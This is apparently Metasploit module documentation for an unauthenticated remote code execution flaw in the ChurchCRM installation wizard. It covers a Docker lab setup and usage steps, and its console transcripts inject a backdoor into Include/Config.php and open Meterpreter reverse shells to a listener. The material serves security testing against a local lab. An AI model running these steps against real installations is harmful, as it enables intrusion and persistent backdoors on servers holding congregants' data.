## Vulnerable Application

ChurchCRM is an open-source, PHP-based CRM designed to help churches manage members, groups, events, and finances.

### Description

This module exploits an unauthenticated Remote Code Execution (RCE) vulnerability in ChurchCRM versions 6.8.0 and earlier. The vulnerability, tracked as [CVE-2025-62521](https://nvd.nist.gov/vuln/detail/CVE-2025-62521), occurs during the initial installation process.

Due to insufficient sanitization of user input within the installation wizard, an attacker can inject arbitrary PHP code into the `Include/Config.php` file. Since this configuration file is included in nearly every page of the application, the injected code is executed upon every page load, providing both immediate execution and a form of persistence until the file is manually cleaned.

- Project Homepage: https://churchcrm.io/
- Source Code: https://github.com/ChurchCRM/CRM
- Vulnerability Reference: https://github.com/ChurchCRM/CRM/security/advisories/GHSA-m8jq-j3p9-2xf3

### Versions tested 

- ChurchCRM 5.18.0 (vulnerable)
- ChurchCRM 5.22.0 (vulnerable)
- ChurchCRM 6.2.0 (vulnerable)
- ChurchCRM 6.8.0 (vulnerable)

### Docker installation

To quickly set up a testing environment for this module, you can use the following Docker configuration. This setup mimics a fresh installation of **ChurchCRM** on an Ubuntu-based LAMP stack.

- Create a file named `Dockerfile` with the following content:

```Dockerfile
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND=noninteractive

ARG DB_NAME=churchcrm
ARG DB_USER=churchcrm
ARG DB_PASS=churchcrm_password
ARG CHURCHCRM_VERSION

RUN apt-get update && apt-get install -y software-properties-common \
    && add-apt-repository ppa:ondrej/php -y \
    && apt-get update \
    && apt-get update && apt-get install -y \
    apache2 mariadb-server mariadb-client php8.4 php-bcmath \
    php-cli php-curl php-dev php-gd php-intl php-mbstring \
    php-mysql php-soap php-xml php-zip unzip curl gawk \
    && apt-get clean

ENV VERSION=${CHURCHCRM_VERSION}

WORKDIR /tmp
RUN curl -L -o churchcrm.zip https://github.com/ChurchCRM/CRM/releases/download/$VERSION/ChurchCRM-$VERSION.zip \
    && unzip churchcrm.zip \
    && mv churchcrm /var/www/html/ \
    && mkdir -p /var/www/html/churchcrm/Images/Family \
    && mkdir -p /var/www/html/churchcrm/Images/Person \
    && chown -R www-data:www-data /var/www/html/churchcrm \
    && rm churchcrm.zip

RUN printf "file_uploads = On\n\
allow_url_fopen = On\n\
short_open_tag = On\n\
memory_limit = 256M\n\
upload_max_filesize = 100M\n\
max_execution_time = 360" > /etc/php/8.4/apache2/conf.d/99-churchcrm.ini

RUN echo '<VirtualHost *:80>\n\
    DocumentRoot /var/www/html/churchcrm/\n\
    <Directory /var/www/html/churchcrm/>\n\
        Options -Indexes +FollowSymLinks\n\
        AllowOverride All\n\
        Require all granted\n\
    </Directory>\n\
    ErrorLog ${APACHE_LOG_DIR}/error.log\n\
    CustomLog ${APACHE_LOG_DIR}/access.log combined\n\
</VirtualHost>' > /etc/apache2/sites-available/churchcrm.conf

RUN a2enmod rewrite && a2dissite 000-default.conf && a2ensite churchcrm.conf

RUN echo '#!/bin/bash\n\
service mariadb start\n\
# Création de la DB si elle n existe pas\n\
mariadb -e "CREATE DATABASE IF NOT EXISTS ${DB_NAME} DEFAULT CHARACTER SET utf8;"\n\
mariadb -e "GRANT ALL ON ${DB_NAME}.* TO \"${DB_USER}\"@\"localhost\" IDENTIFIED BY \"${DB_PASS}\";"\n\
mariadb -e "FLUSH PRIVILEGES;"\n\
apachectl -D FOREGROUND' > /start.sh && chmod +x /start.sh

ENV DB_NAME=${DB_NAME}
ENV DB_USER=${DB_USER}
ENV DB_PASS=${DB_PASS}

EXPOSE 80

CMD ["/start.sh"]
```

- Create a file named `docker-compose.yml` in the same directory:

```yaml
services:
  churchcrm:
    build: 
      context: .
      args:
        - CHURCHCRM_VERSION=6.8.0
        - DB_NAME=churchcrm
        - DB_USER=churchcrm
        - DB_PASS=churchcrm_password
    container_name: churchcrm_app
    image: churchcrm-image:latest
    ports:
      - "80:80"
    volumes:
      - churchcrm_db_data:/var/lib/mysql
      - churchcrm_web_data:/var/www/html/churchcrm
    restart: unless-stopped

volumes:
  churchcrm_db_data:
  churchcrm_web_data:
```

Then, run the following command to start the vulnerable application : 

```bash
docker compose build --build-arg CHURCHCRM_VERSION=VERSION_YOU_WANT && docker compose up -d
```

Where `VERSION_YOU_WANT` is the version of ChurchCRM you want to test. To test the vulnerability, you can use version `6.8.0` for example.

Once started, the application will be available at `http://<your-ip>/`. **Do not complete the installation wizard**, as the module targets the setup process itself.

### Linux installation

If you prefer to set up ChurchCRM on a dedicated Linux host or an LXD container, you can use the official installation script present in the [source code](https://github.com/ChurchCRM/CRM/archive/refs/tags/5.18.0.zip).

> [!WARNING] By default, the installer fetches the latest version of ChurchCRM. To test this specific exploit, you **must** force the script to use the version you want.

For example, if you want to test version `5.18.0`, you can modify the `VERSION` variable in the installation script as follows : 

```shell
VERSION=$(eval "$VERSION_CMD") #112
# Become
VERSION="5.18.0"
```

The application should also be available at `http://<your-ip>/`.

## Verification step

This module requires that the CRM is in its “Installation wizard” mode. When accessing to the website, it should automatically redirect you to the installation page. If this condition is not met, the module won't be able to send the PHP injection leading to code execution. In order to be in the "Installation wizard" mode, the `Include` directory should not contain the `Config.php` file. If it's the case, and you somehow have access to the file, you can delete it. It should put you back into the installation mode.

1. Start `msfconsole`
2. `use exploit/multi/http/churchcrm_install_unauth_rce`
3. Set the target `RHOSTS` and `RPORT` according to the target Host and the port which ChurchCRM's service is running.
4. Set your host and port for the reverse shell connection at `LHOST` and `LPORT`.
5. Set the `TARGETURI` which represent the base path that lead to the ChurchCRM page.
6. Set the target (0 for Linux, 1 for PHP (In-Memory), 2 for PHP (Fetch)).
7. Run the exploit with `run`.

## Scenarios

### Linux target : ChurchCRM 5.18.0 on Ubuntu 22.04 LTS (Docker Image)

```bash
msf > use exploit/multi/http/churchcrm_install_unauth_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_install_unauth_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_install_unauth_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_install_unauth_rce) > set target 0
target => 0
msf exploit(multi/http/churchcrm_install_unauth_rce) > show options

Module options (exploit/multi/http/churchcrm_install_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks4, socks5, sapni, socks5h
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
                                       all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux/unix Command (CmdStager)



View the full module info with the info, or info -d command.

msf exploit(multi/http/churchcrm_install_unauth_rce) > check
[*] Checking if the target is reachable...
[*] 127.0.0.1:80 - The target appears to be vulnerable.
msf exploit(multi/http/churchcrm_install_unauth_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Injecting backdoor into Include/Config.php via setup page...
[*] Uploading payload to the target server...
[*] Command Stager progress -  59.76% done (499/835 bytes)
[*] Sending stage (3090404 bytes) to 172.18.0.2
[*] Session ID 1 (172.18.0.1:4444 -> 172.18.0.2:34400) processing InitialAutoRunScript 'post/multi/general/execute COMMAND="rm Include/Config.php"'
[*] Executing rm Include/Config.php on #<Session:meterpreter 172.18.0.2:34400 (127.0.0.1) "www-data @ 722c78a6c10e">...
[*] Response:

[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:34400) at 2026-02-13 14:58:32 +0100
[*] Command Stager progress - 100.00% done (835/835 bytes)
[+] Payload uploaded successfully.

meterpreter > getpid
Current pid: 222
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : 722c78a6c10e
OS           : Ubuntu 22.04 (Linux 6.18.9-arch1-2)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

### PHP (In-Memory) target : ChurchCRM 6.2.0 on Ubuntu 22.04 LTS (Docker Image)

```bash
msf > use exploit/multi/http/churchcrm_install_unauth_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_install_unauth_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_install_unauth_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_install_unauth_rce) > set target 1
target => 1
msf exploit(multi/http/churchcrm_install_unauth_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_install_unauth_rce) > show options

Module options (exploit/multi/http/churchcrm_install_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks4, socks5, sapni, socks5h
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
                                       all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   PHP (In-Memory)



View the full module info with the info, or info -d command.

msf exploit(multi/http/churchcrm_install_unauth_rce) > check
[*] Checking if the target is reachable...
[*] Found ChurchCRM version: 6.2.0
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.2.0 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_install_unauth_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Injecting backdoor into Include/Config.php via setup page...
[*] Trying to execute the PHP payload
[*] Sending stage (42137 bytes) to 172.18.0.2
[*] Session ID 1 (172.18.0.1:4444 -> 172.18.0.2:53650) processing InitialAutoRunScript 'post/multi/general/execute COMMAND="php -r \"unlink('Include/Config.php');\""'
[*] Executing php -r "unlink('Include/Config.php');" on #<Session:meterpreter 172.18.0.2:53650 (127.0.0.1) "www-data @ b438c6ac79aa">...
[*] Response:

[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:53650) at 2026-02-13 14:52:57 +0100
[+] PHP payload successfully executed

meterpreter > getpid
Current pid: 199
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer        : b438c6ac79aa
OS              : Linux b438c6ac79aa 6.18.9-arch1-2 #1 SMP PREEMPT_DYNAMIC Mon, 09 Feb 2026 17:16:33 +0000 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter >
```

### PHP (Fetch) target : ChurchCRM 6.8.0 on Ubuntu 22.04 LTS (Docker Image)

```bash
msf > use exploit/multi/http/churchcrm_install_unauth_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_install_unauth_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_install_unauth_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_install_unauth_rce) > set target 2
target => 2
msf exploit(multi/http/churchcrm_install_unauth_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_install_unauth_rce) > show options

Module options (exploit/multi/http/churchcrm_install_unauth_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, socks4, socks5, sapni, socks5h
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
                                       all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.18.0.1       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   PHP (fetch)



View the full module info with the info, or info -d command.

msf exploit(multi/http/churchcrm_install_unauth_rce) > check
[*] Checking if the target is reachable...
[*] Found ChurchCRM version: 6.8.0
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.8.0 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_install_unauth_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Injecting backdoor into Include/Config.php via setup page...
[*] Using URL: http://172.18.0.1:8080/alYbr0GFa3I
[*] Trying to execute the PHP payload
[*] Sending stage (42137 bytes) to 172.18.0.2
[*] Session ID 1 (172.18.0.1:4444 -> 172.18.0.2:36816) processing InitialAutoRunScript 'post/multi/general/execute COMMAND="php -r \"unlink('Include/Config.php');\""'
[*] Executing php -r "unlink('Include/Config.php');" on #<Session:meterpreter 172.18.0.2:36816 (127.0.0.1) "www-data @ bca839b5c7b7">...
[*] Response:

[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:36816) at 2026-02-13 14:43:45 +0100
[+] PHP payload successfully executed
[*] Server stopped.

meterpreter > getpid
Current pid: 218
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer        : bca839b5c7b7
OS              : Linux bca839b5c7b7 6.18.9-arch1-2 #1 SMP PREEMPT_DYNAMIC Mon, 09 Feb 2026 17:16:33 +0000 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter >
```

